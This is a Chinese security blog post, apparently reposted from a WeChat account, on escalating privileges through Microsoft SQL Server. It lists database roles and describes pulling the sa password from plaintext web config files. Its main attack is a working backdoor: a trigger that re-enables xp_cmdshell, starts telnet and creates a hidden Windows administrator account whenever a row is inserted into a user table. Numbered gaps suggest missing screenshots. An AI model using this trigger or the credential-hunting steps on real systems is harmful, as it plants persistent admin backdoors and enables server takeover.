目 录
0x00 Sql Server简介
0x01 用户权限介绍
Sa 可以执行mssql数据库的所有操作
db_owner 执行所有数据库角色活动
public 维护所有默认权限
db_accessadmin 添加和删除数据库用户, 组及角色
db_ddladmin 添加、更改或删除数据库对象
db_security admin 分配语句执行和对象权限
db_backupoperator 备份数据库
db_datareader 读取任何表中的数据
db_datawriter 添加、更改或删除所有表中的数据
db_denydatareader 不能读取任何表中的数据
db_denydatawriter 不能更改任何表中的数据
MSSQL的数据库帐户权限类似WINDWOS(这里是类似.不是等于),简单来说可以分为SA,DB_OWNER,PCUBLIC等,SA 类似WINDWOS中的管理员,DB_OWNER类似WINDOWS中的Power Users.
0x02 Sa权限提权
在讲sa权限提权前我们先说说这个提权的前提一些重要点,第一mssql的服务没有降权,是以默认服务继承的权限来运行的.第二那就是找到sa的用户密码(你这不是废话么.小心我楼下丢你鸡蛋和臭菜叶子! 哎哟.砸中枪了)。
0.0 先说说一般我是咋找的吧,在网站的目录下一般情况下,你是有可读可写的权限。你可以尝试找一下asp网站的话大概就conn.asp(一般都放在这文件名的文件里,不过asp类型的网站很少有用到mssql的,现在一般用asp的网站都是一些小型网站.access基本够了).如果是aspx类型的网站那就是web.config这个文件里了.一般数据库的数据库、账号、密码都是以明文保存的,当然也有一些不是以明文保存是以一些bin目录里的加密的base64的加密函数保存,或者是以hash加密保存下来的sa密码.这里不多做详细的解释。
hash加密的参考
http://it.anhuinews.com/network/442646/391737177179.shtml
Asp.net解密反编译
http://gov.com.im/art_design/2011/1113/asp-net%E8%A7%A3%E5%AF%86.html
现在,我们开始,sa提权之旅吧。
0x03 db_owner提权
8
9
10
11
12
执行完毕后,查看用户表.点击触发器会有TR_hacker1这个在。
create TRIGGER TR_HACKER1 ON bairong_Users
AFTER INSERT
AS
BEGIN
EXECUTE SP_ADDEXTENDEDPROC 'MASTER.DBO.XP_CMDSHELL','XPLOG70.DLL'--'XPSQL70.DLL'
EXECUTE MASTER.DBO.XP_CMDSHELL 'NET START TELNET'
EXECUTE MASTER.DBO.XP_CMDSHELL 'net user xiaoguai www.h4x0er.com /add'
EXECUTE MASTER.DBO.XP_CMDSHELL 'net localgroup administrators xiaoguai /add'
End
13
14
INSERT INTO bairong_Users(UserName,Password) VALUES('xiaoguai','11111')
当管理员在bairong_Users这个表里插入
Username:xiaoguai
Password:11111的时候,就会触发我们留下的后门。
15
原文始发于微信公众号(零漏安全):SQL SERVER 提权
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论